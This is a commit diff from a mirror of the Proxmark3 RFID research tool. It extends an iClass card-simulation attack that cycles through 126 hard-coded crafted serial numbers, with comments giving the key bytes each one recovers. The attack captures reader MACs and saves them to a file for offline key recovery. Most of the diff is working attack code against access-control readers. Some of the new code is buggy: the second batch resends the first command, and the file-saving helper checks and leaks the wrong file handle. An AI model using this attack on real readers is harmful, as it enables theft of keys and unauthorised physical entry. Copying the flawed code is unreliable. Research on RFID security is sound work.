mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-11-10 17:49:32 +08:00
More work on iclass simulation attack
This commit is contained in:
Martin Holst Swende
parent
fa541aca96
commit
9f6e9d1575
4 changed files with 230 additions and 29 deletions
|
|
@ -191,7 +191,7 @@ void SetDebugIso15693(uint32_t flag);
|
|||
void RAMFUNC SnoopIClass(void);
|
||||
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
void ReaderIClass(uint8_t arg0);
|
||||
int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived);
|
||||
//int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived);
|
||||
// hitag2.h
|
||||
void SnoopHitag(uint32_t type);
|
||||
void SimulateHitagTag(bool tag_mem_supplied, byte_t* data);
|
||||
|
|
|
|||
|
|
@ -954,7 +954,7 @@ static void CodeIClassTagSOF()
|
|||
// Convert from last byte pos to length
|
||||
ToSendMax++;
|
||||
}
|
||||
|
||||
int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf);
|
||||
/**
|
||||
* @brief SimulateIClass simulates an iClass card.
|
||||
* @param arg0 type of simulation
|
||||
|
|
@ -977,37 +977,42 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain
|
|||
iso14a_clear_trace();
|
||||
|
||||
uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 };
|
||||
|
||||
if(simType == 0) {
|
||||
// Use the CSN from commandline
|
||||
memcpy(csn_crc, datain, 8);
|
||||
doIClassSimulation(csn_crc,0);
|
||||
doIClassSimulation(csn_crc,0,NULL);
|
||||
}else if(simType == 1)
|
||||
{
|
||||
doIClassSimulation(csn_crc,0);
|
||||
doIClassSimulation(csn_crc,0,NULL);
|
||||
}
|
||||
else if(simType == 2)
|
||||
{
|
||||
|
||||
uint8_t mac_responses[64] = { 0 };
|
||||
Dbprintf("Going into attack mode");
|
||||
// In this mode, a number of csns are within datain. We'll simulate each one, one at a time
|
||||
// in order to collect MAC's from the reader. This can later be used in an offlne-attack
|
||||
// in order to obtain the keys, as in the "dismantling iclass"-paper.
|
||||
for(int i = 0 ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++)
|
||||
int i = 0;
|
||||
for( ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++)
|
||||
{
|
||||
// The usb data is 512 bytes, fitting 65 8-byte CSNs in there.
|
||||
|
||||
memcpy(csn_crc, datain+(i*8), 8);
|
||||
if(doIClassSimulation(csn_crc,1))
|
||||
if(doIClassSimulation(csn_crc,1,mac_responses))
|
||||
{
|
||||
return; // Button pressed
|
||||
}
|
||||
}
|
||||
cmd_send(CMD_ACK,CMD_SIMULATE_TAG_ICLASS,i,0,mac_responses,i*8);
|
||||
|
||||
}
|
||||
else{
|
||||
// We may want a mode here where we hardcode the csns to use (from proxclone).
|
||||
// That will speed things up a little, but not required just yet.
|
||||
Dbprintf("The mode is not implemented, reserved for future use");
|
||||
}
|
||||
Dbprintf("Done...");
|
||||
|
||||
}
|
||||
/**
|
||||
|
|
@ -1015,7 +1020,7 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain
|
|||
* @param csn - csn to use
|
||||
* @param breakAfterMacReceived if true, returns after reader MAC has been received.
|
||||
*/
|
||||
int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
|
||||
int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf)
|
||||
{
|
||||
|
||||
// CSN followed by two CRC bytes
|
||||
|
|
@ -1109,6 +1114,12 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
|
|||
|
||||
LED_A_ON();
|
||||
bool buttonPressed = false;
|
||||
|
||||
/** Hack for testing
|
||||
memcpy(reader_mac_buf,csn,8);
|
||||
exitLoop = true;
|
||||
end hack **/
|
||||
|
||||
while(!exitLoop) {
|
||||
|
||||
LED_B_OFF();
|
||||
|
|
@ -1159,11 +1170,15 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
|
|||
if (breakAfterMacReceived){
|
||||
// TODO, actually return this to the caller instead of just
|
||||
// dbprintf:ing ...
|
||||
Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x");
|
||||
Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]);
|
||||
Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len,
|
||||
receivedCmd[0], receivedCmd[1], receivedCmd[2],
|
||||
receivedCmd[3], receivedCmd[4], receivedCmd[5],
|
||||
receivedCmd[6], receivedCmd[7], receivedCmd[8]);
|
||||
if (reader_mac_buf != NULL)
|
||||
{
|
||||
memcpy(reader_mac_buf,receivedCmd+1,8);
|
||||
}
|
||||
exitLoop = true;
|
||||
}
|
||||
} else if(receivedCmd[0] == 0x00 && len == 1) {
|
||||
|
|
@ -1187,7 +1202,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
|
|||
|
||||
if(cmdsRecvd > 100) {
|
||||
//DbpString("100 commands later...");
|
||||
break;
|
||||
//break;
|
||||
}
|
||||
else {
|
||||
cmdsRecvd++;
|
||||
|
|
@ -1217,7 +1232,7 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived)
|
|||
memset(receivedCmd, 0x44, RECV_CMD_SIZE);
|
||||
}
|
||||
|
||||
Dbprintf("%x", cmdsRecvd);
|
||||
//Dbprintf("%x", cmdsRecvd);
|
||||
LED_A_OFF();
|
||||
LED_B_OFF();
|
||||
if(buttonPressed)
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type
|
||||
#include "data.h"
|
||||
//#include "proxusb.h"
|
||||
|
|
@ -328,20 +329,19 @@ int CmdHFiClassSim(const char *Cmd)
|
|||
PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8));
|
||||
|
||||
}
|
||||
if(simType > 2)
|
||||
if(simType > 5)
|
||||
{
|
||||
PrintAndLog("Undefined simptype %d", simType);
|
||||
return 1;
|
||||
}
|
||||
uint8_t numberOfCSNs=0;
|
||||
|
||||
UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}};
|
||||
memcpy(c.d.asBytes, CSN, 8);
|
||||
if(simType == 2)
|
||||
{
|
||||
UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}};
|
||||
UsbCommand resp = {0};
|
||||
|
||||
if(simType == 2)
|
||||
{
|
||||
c.arg[1] = 10;//10 CSNs
|
||||
uint8_t csns[] ={
|
||||
uint8_t csns1[] ={
|
||||
/* Order Simulated CSN HASH1 Recovered key bytes */
|
||||
/* 1 */ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0,// 0101000045014545 00,01 45
|
||||
/* 2 */ 0x03,0x0B,0x0E,0xFE,0xF7,0xFF,0x12,0xE0,// 0202000045014545 02
|
||||
|
|
@ -373,21 +373,156 @@ int CmdHFiClassSim(const char *Cmd)
|
|||
/* 28 */ 0x02,0x07,0x01,0x1D,0xF7,0xFF,0x12,0xE0,// 630F000045014545 0F
|
||||
/* 29 */ 0x04,0x7F,0x7F,0xA7,0xF7,0xFF,0x12,0xE0,// 5911000045014545 11
|
||||
/* 30 */ 0x04,0x60,0x6E,0xE8,0xF7,0xFF,0x12,0xE0,// 1822000045014545 18
|
||||
};
|
||||
memcpy(c.d.asBytes, csns, sizeof(c.d.asBytes));
|
||||
/*31*/ 0x04,0x77,0x77,0xBF,0xF7,0xFF,0x12,0xE0, // 4119000045014545 19
|
||||
/*32*/ 0x00,0x69,0x6D,0xE5,0xF7,0xFF,0x12,0xE0, // 1B23000045014545 1B
|
||||
/*33*/ 0x01,0x69,0x6E,0xE2,0xF7,0xFF,0x12,0xE0, // 1E22000045014545 1E
|
||||
/*34*/ 0x02,0x6B,0x6D,0xE1,0xF7,0xFF,0x12,0xE0, // 1F23000045014545 1F
|
||||
/*35*/ 0x01,0x3F,0x04,0xE0,0xF7,0xFF,0x12,0xE0, // 200C000045014545 20
|
||||
/*36*/ 0x02,0x6E,0x6E,0xDC,0xF7,0xFF,0x12,0xE0, // 2422000045014545 24
|
||||
/*37*/ 0x05,0x6D,0x6E,0xDA,0xF7,0xFF,0x12,0xE0, // 2622000045014545 26
|
||||
/*38*/ 0x06,0x6F,0x6D,0xD9,0xF7,0xFF,0x12,0xE0, // 2723000045014545 27
|
||||
/*39*/ 0x01,0x6B,0x68,0xEC,0xF7,0xFF,0x12,0xE0, // 1428000045014545 28
|
||||
/*40*/ 0x04,0x6F,0x6F,0xD7,0xF7,0xFF,0x12,0xE0, // 2921000045014545 29
|
||||
/*41*/ 0x02,0x66,0x66,0xF4,0xF7,0xFF,0x12,0xE0, // 0C2A000045014545 2A
|
||||
/*42*/ 0x00,0x61,0x65,0xFD,0xF7,0xFF,0x12,0xE0, // 032B000045014545 2B
|
||||
/*43*/ 0x00,0x62,0x64,0xFE,0xF7,0xFF,0x12,0xE0, // 022C000045014545 2C
|
||||
/*44*/ 0x01,0x65,0x62,0xFE,0xF7,0xFF,0x12,0xE0, // 022E000045014545 2E
|
||||
/*45*/ 0x02,0x67,0x61,0xFD,0xF7,0xFF,0x12,0xE0, // 032F000045014545 2F
|
||||
/*46*/ 0x00,0x5F,0x5B,0x13,0xF7,0xFF,0x12,0xE0, // 6D35000045014545 35
|
||||
/*47*/ 0x00,0x44,0x4E,0x48,0xF7,0xFF,0x12,0xE0, // 3842000045014545 38
|
||||
/*48*/ 0x00,0x53,0x57,0x27,0xF7,0xFF,0x12,0xE0, // 5939000045014545 39
|
||||
/*49*/ 0x00,0x49,0x4D,0x45,0xF7,0xFF,0x12,0xE0, // 3B43000045014545 3B
|
||||
/*50*/ 0x01,0x49,0x4E,0x42,0xF7,0xFF,0x12,0xE0, // 3E42000045014545 3E
|
||||
/*51*/ 0x02,0x4B,0x4D,0x41,0xF7,0xFF,0x12,0xE0, // 3F43000045014545 3F
|
||||
/*52*/ 0x02,0x4E,0x4E,0x3C,0xF7,0xFF,0x12,0xE0, // 4442000045014545 44
|
||||
/*53*/ 0x05,0x4D,0x4E,0x3A,0xF7,0xFF,0x12,0xE0, // 4642000045014545 46
|
||||
/*54*/ 0x06,0x4F,0x4D,0x39,0xF7,0xFF,0x12,0xE0, // 4743000045014545 47
|
||||
/*55*/ 0x01,0x77,0x7C,0xB8,0xF7,0xFF,0x12,0xE0, // 4814000045014545 48
|
||||
/*56*/ 0x04,0x4F,0x4F,0x37,0xF7,0xFF,0x12,0xE0, // 4941000045014545 49
|
||||
/*57*/ 0x00,0x7A,0x7C,0xB6,0xF7,0xFF,0x12,0xE0, // 4A14000045014545 4A
|
||||
/*58*/ 0x00,0x41,0x45,0x5D,0xF7,0xFF,0x12,0xE0, // 234B000045014545 4B
|
||||
/*59*/ 0x00,0x42,0x44,0x5E,0xF7,0xFF,0x12,0xE0, // 224C000045014545 4C
|
||||
/*60*/ 0x01,0x45,0x42,0x5E,0xF7,0xFF,0x12,0xE0, // 224E000045014545 4E
|
||||
/*61*/ 0x02,0x47,0x41,0x5D,0xF7,0xFF,0x12,0xE0, // 234F000045014545 4F
|
||||
/*62*/ 0x04,0x7E,0x7C,0xAE,0xF7,0xFF,0x12,0xE0, // 5214000045014545 52
|
||||
/*63*/ 0x00,0x57,0x53,0x2B,0xF7,0xFF,0x12,0xE0, // 553D000045014545 55
|
||||
};
|
||||
memcpy(c.d.asBytes, csns1, sizeof(c.d.asBytes));
|
||||
|
||||
}
|
||||
SendCommand(&c);
|
||||
if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) {
|
||||
PrintAndLog("Command timed out");
|
||||
return 0;
|
||||
}
|
||||
|
||||
SendCommand(&c);
|
||||
uint8_t num_mac_responses_1 = resp.arg[1];
|
||||
PrintAndLog("Mac responses, first part : %d MACs obtained (should be 63)", num_mac_responses_1);
|
||||
|
||||
/*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
|
||||
if (resp != NULL) {
|
||||
uint8_t isOK = resp->arg[0] & 0xff;
|
||||
PrintAndLog("isOk:%02x", isOK);
|
||||
} else {
|
||||
PrintAndLog("Command execute timeout");
|
||||
}*/
|
||||
UsbCommand c2 = {CMD_SIMULATE_TAG_ICLASS, {simType,63}};
|
||||
UsbCommand resp2 = {0};
|
||||
|
||||
uint8_t csns2[] ={
|
||||
/*64*/ 0x04,0x3C,0x3A,0x74,0xF7,0xFF,0x12,0xE0, // 0C56000045014545 56
|
||||
/*65*/ 0x00,0x24,0x2E,0xA8,0xF7,0xFF,0x12,0xE0, // 5862000045014545 58
|
||||
/*66*/ 0x00,0x29,0x2D,0xA5,0xF7,0xFF,0x12,0xE0, // 5B63000045014545 5B
|
||||
/*67*/ 0x00,0x00,0x02,0x24,0xF7,0xFF,0x12,0xE0, // 5C0E000045014545 5C
|
||||
/*68*/ 0x01,0x29,0x2E,0xA2,0xF7,0xFF,0x12,0xE0, // 5E62000045014545 5E
|
||||
/*69*/ 0x02,0x2B,0x2D,0xA1,0xF7,0xFF,0x12,0xE0, // 5F63000045014545 5F
|
||||
/*70*/ 0x02,0x2E,0x2E,0x9C,0xF7,0xFF,0x12,0xE0, // 6462000045014545 64
|
||||
/*71*/ 0x02,0x0A,0x02,0x18,0xF7,0xFF,0x12,0xE0, // 680E000045014545 68
|
||||
/*72*/ 0x00,0x03,0x07,0x17,0xF7,0xFF,0x12,0xE0, // 6909000045014545 69
|
||||
/*73*/ 0x00,0x21,0x25,0xBD,0xF7,0xFF,0x12,0xE0, // 436B000045014545 6B
|
||||
/*74*/ 0x02,0x27,0x21,0xBD,0xF7,0xFF,0x12,0xE0, // 436F000045014545 6F
|
||||
/*75*/ 0x04,0x07,0x07,0x0F,0xF7,0xFF,0x12,0xE0, // 7109000045014545 71
|
||||
/*76*/ 0x00,0x04,0x0E,0x08,0xF7,0xFF,0x12,0xE0, // 7802000045014545 78
|
||||
/*77*/ 0x00,0x33,0x37,0x87,0xF7,0xFF,0x12,0xE0, // 7959000045014545 79
|
||||
/*78*/ 0x00,0x09,0x0D,0x05,0xF7,0xFF,0x12,0xE0, // 7B03000045014545 7B
|
||||
/*79*/ 0x01,0x09,0x0E,0x02,0xF7,0xFF,0x12,0xE0, // 7E02000045014545 7E
|
||||
/*80*/ 0x02,0x0B,0x0D,0x01,0xF7,0xFF,0x12,0xE0, // 7F03000045014545 7F
|
||||
/*81*/ 0x00,0x34,0x3E,0x78,0xF7,0xFF,0x12,0xE0, // 0852000045014545 08
|
||||
/*82*/ 0x04,0x66,0x64,0xF6,0xF7,0xFF,0x12,0xE0, // 0A2C000045014545 0A
|
||||
/*83*/ 0x00,0x3F,0x3B,0x73,0xF7,0xFF,0x12,0xE0, // 0D55000045014545 0D
|
||||
/*84*/ 0x03,0x3B,0x3E,0x6E,0xF7,0xFF,0x12,0xE0, // 1252000045014545 12
|
||||
/*85*/ 0x00,0x11,0x15,0xED,0xF7,0xFF,0x12,0xE0, // 137B000045014545 13
|
||||
/*86*/ 0x00,0x6E,0x68,0xEA,0xF7,0xFF,0x12,0xE0, // 1628000045014545 16
|
||||
/*87*/ 0x00,0x6D,0x69,0xE9,0xF7,0xFF,0x12,0xE0, // 1727000045014545 17
|
||||
/*88*/ 0x00,0x6A,0x6C,0xE6,0xF7,0xFF,0x12,0xE0, // 1A24000045014545 1A
|
||||
/*89*/ 0x00,0x40,0x42,0x64,0xF7,0xFF,0x12,0xE0, // 1C4E000045014545 1C
|
||||
/*90*/ 0x00,0x77,0x73,0xCB,0xF7,0xFF,0x12,0xE0, // 351D000045014545 1D
|
||||
/*91*/ 0x06,0x6E,0x72,0xD0,0xF7,0xFF,0x12,0xE0, // 301E000045014545 30
|
||||
/*92*/ 0x00,0x1B,0x1F,0xCF,0xF7,0xFF,0x12,0xE0, // 3171000045014545 31
|
||||
/*93*/ 0x01,0x75,0x72,0xCE,0xF7,0xFF,0x12,0xE0, // 321E000045014545 32
|
||||
/*94*/ 0x00,0x71,0x75,0xCD,0xF7,0xFF,0x12,0xE0, // 331B000045014545 33
|
||||
/*95*/ 0x00,0x48,0x4A,0x4C,0xF7,0xFF,0x12,0xE0, // 3446000045014545 34
|
||||
/*96*/ 0x00,0x4E,0x48,0x4A,0xF7,0xFF,0x12,0xE0, // 3648000045014545 36
|
||||
/*97*/ 0x00,0x4D,0x49,0x49,0xF7,0xFF,0x12,0xE0, // 3747000045014545 37
|
||||
/*98*/ 0x00,0x4A,0x4C,0x46,0xF7,0xFF,0x12,0xE0, // 3A44000045014545 3A
|
||||
/*99*/ 0x00,0x20,0x22,0xC4,0xF7,0xFF,0x12,0xE0, // 3C6E000045014545 3C
|
||||
/*100*/ 0x00,0x1C,0x66,0x40,0xF7,0xFF,0x12,0xE0, // 402A000045014545 40
|
||||
/*101*/ 0x06,0x4E,0x52,0x30,0xF7,0xFF,0x12,0xE0, // 503E000045014545 50
|
||||
/*102*/ 0x00,0x7B,0x7F,0xAF,0xF7,0xFF,0x12,0xE0, // 5111000045014545 51
|
||||
/*103*/ 0x00,0x51,0x55,0x2D,0xF7,0xFF,0x12,0xE0, // 533B000045014545 53
|
||||
/*104*/ 0x00,0x28,0x2A,0xAC,0xF7,0xFF,0x12,0xE0, // 5466000045014545 54
|
||||
/*105*/ 0x02,0x53,0x55,0x29,0xF7,0xFF,0x12,0xE0, // 573B000045014545 57
|
||||
/*106*/ 0x00,0x2A,0x2C,0xA6,0xF7,0xFF,0x12,0xE0, // 5A64000045014545 5A
|
||||
/*107*/ 0x00,0x7C,0x46,0x20,0xF7,0xFF,0x12,0xE0, // 604A000045014545 60
|
||||
/*108*/ 0x02,0x03,0x05,0x19,0xF7,0xFF,0x12,0xE0, // 670B000045014545 67
|
||||
/*109*/ 0x01,0x2F,0x34,0x90,0xF7,0xFF,0x12,0xE0, // 705C000045014545 70
|
||||
/*110*/ 0x00,0x32,0x34,0x8E,0xF7,0xFF,0x12,0xE0, // 725C000045014545 72
|
||||
/*111*/ 0x00,0x31,0x35,0x8D,0xF7,0xFF,0x12,0xE0, // 735B000045014545 73
|
||||
/*112*/ 0x00,0x08,0x0A,0x0C,0xF7,0xFF,0x12,0xE0, // 7406000045014545 74
|
||||
/*113*/ 0x03,0x37,0x32,0x8A,0xF7,0xFF,0x12,0xE0, // 765E000045014545 76
|
||||
/*114*/ 0x00,0x0D,0x09,0x09,0xF7,0xFF,0x12,0xE0, // 7707000045014545 77
|
||||
/*115*/ 0x00,0x0A,0x0C,0x06,0xF7,0xFF,0x12,0xE0, // 7A04000045014545 7A
|
||||
/*116*/ 0x00,0x60,0x62,0x04,0xF7,0xFF,0x12,0xE0, // 7C2E000045014545 7C
|
||||
/*117*/ 0x00,0x07,0x03,0x1B,0xF7,0xFF,0x12,0xE0, // 650D000045014545 65
|
||||
/*118*/ 0x00,0x0C,0x16,0xF0,0xF7,0xFF,0x12,0xE0, // 107A000045014545 10
|
||||
/*119*/ 0x00,0x6F,0x6B,0xE3,0xF7,0xFF,0x12,0xE0, // 1D25000045014545 25
|
||||
/*120*/ 0x00,0x2F,0x2B,0xA3,0xF7,0xFF,0x12,0xE0, // 5D65000045014545 5D
|
||||
/*121*/ 0x00,0x47,0x43,0x5B,0xF7,0xFF,0x12,0xE0, // 254D000045014545 4D
|
||||
/*122*/ 0x00,0x37,0x33,0x8B,0xF7,0xFF,0x12,0xE0, // 755D000045014545 75
|
||||
/*123*/ 0x00,0x1F,0x1B,0xD3,0xF7,0xFF,0x12,0xE0, // 2D75000045014545 2D
|
||||
/*124*/ 0x00,0x67,0x63,0xFB,0xF7,0xFF,0x12,0xE0, // 052D000045014545 05
|
||||
/*125*/ 0x00,0x0F,0x0B,0x03,0xF7,0xFF,0x12,0xE0, // 7D05000045014545 7D
|
||||
/*126*/ 0x00,0x17,0x13,0xEB,0xF7,0xFF,0x12,0xE0, // 157D000045014545 15
|
||||
};
|
||||
|
||||
memcpy(c2.d.asBytes, csns2, sizeof(c2.d.asBytes));
|
||||
|
||||
SendCommand(&c);
|
||||
if (!WaitForResponseTimeout(CMD_ACK, &resp2, -1)) {
|
||||
PrintAndLog("Command timed out");
|
||||
return 0;
|
||||
}
|
||||
uint8_t num_mac_responses_2 = resp2.arg[1];
|
||||
PrintAndLog("Mac responses, second part : %d MACs obtained (should be 63)", num_mac_responses_2);
|
||||
size_t datalen = 126 * 16;
|
||||
/*
|
||||
* Now, time to dump to file. We'll use this format:
|
||||
* <8-byte CSN><8-byte MAC>....
|
||||
* So, it should wind up as
|
||||
* (63+63) * (8 + 8 ) bytes.
|
||||
**/
|
||||
void* macs = malloc(datalen);
|
||||
uint8_t i = 0;
|
||||
while(i < 63)
|
||||
{
|
||||
memcpy(macs+i*16, csns1+i*8,8);
|
||||
memcpy(macs+i*16+8, resp.d.asBytes+i*8,8);
|
||||
|
||||
memcpy(macs+i*16+63*16, csns2+i*8,8);
|
||||
memcpy(macs+i*16+8+63*16, resp2.d.asBytes+i*8,8);
|
||||
i++;
|
||||
}
|
||||
/** Now, save to dumpfile **/
|
||||
saveFile("iclass_mac_attack", "bin", macs,datalen);
|
||||
free(macs);
|
||||
}else
|
||||
{
|
||||
UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}};
|
||||
memcpy(c.d.asBytes, CSN, 8);
|
||||
SendCommand(&c);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
|
@ -440,3 +575,53 @@ int CmdHelp(const char *Cmd)
|
|||
CmdsHelp(CommandTable);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief checks if a file exists
|
||||
* @param filename
|
||||
* @return
|
||||
*/
|
||||
int fileExists(const char *filename) {
|
||||
struct stat st;
|
||||
int result = stat(filename, &st);
|
||||
return result == 0;
|
||||
}
|
||||
/**
|
||||
* @brief Utility function to save data to a file. This method takes a preferred name, but if that
|
||||
* file already exists, it tries with another name until it finds something suitable.
|
||||
* E.g. dumpdata-15.txt
|
||||
* @param preferredName
|
||||
* @param suffix the file suffix. Leave out the ".".
|
||||
* @param data The binary data to write to the file
|
||||
* @param datalen the length of the data
|
||||
* @return
|
||||
*/
|
||||
int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
|
||||
{
|
||||
FILE *f = fopen(preferredName, "wb");
|
||||
int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
|
||||
char * fileName = malloc(size);
|
||||
|
||||
memset(fileName,0,size);
|
||||
int num = 1;
|
||||
sprintf(fileName,"%s.%s", preferredName, suffix);
|
||||
while(fileExists(fileName))
|
||||
{
|
||||
sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
|
||||
num++;
|
||||
}
|
||||
/* We should have a valid filename now, e.g. dumpdata-3.bin */
|
||||
|
||||
/*Opening file for writing in binary mode*/
|
||||
FILE *fileHandle=fopen(fileName,"wb");
|
||||
if(!f) {
|
||||
PrintAndLog("Failed to write to file '%s'", fileName);
|
||||
return 0;
|
||||
}
|
||||
fwrite(data, 1, datalen, fileHandle);
|
||||
fclose(fileHandle);
|
||||
PrintAndLog("Saved data to '%s'", fileName);
|
||||
|
||||
free(fileName);
|
||||
return 0;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -18,5 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd);
|
|||
int CmdHFiClassSim(const char *Cmd);
|
||||
int CmdHFiClassList(const char *Cmd);
|
||||
int CmdHFiClassReader(const char *Cmd);
|
||||
int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen);
|
||||
|
||||
#endif
|
||||
|
|
|
|||
Loading…
Reference in a new issue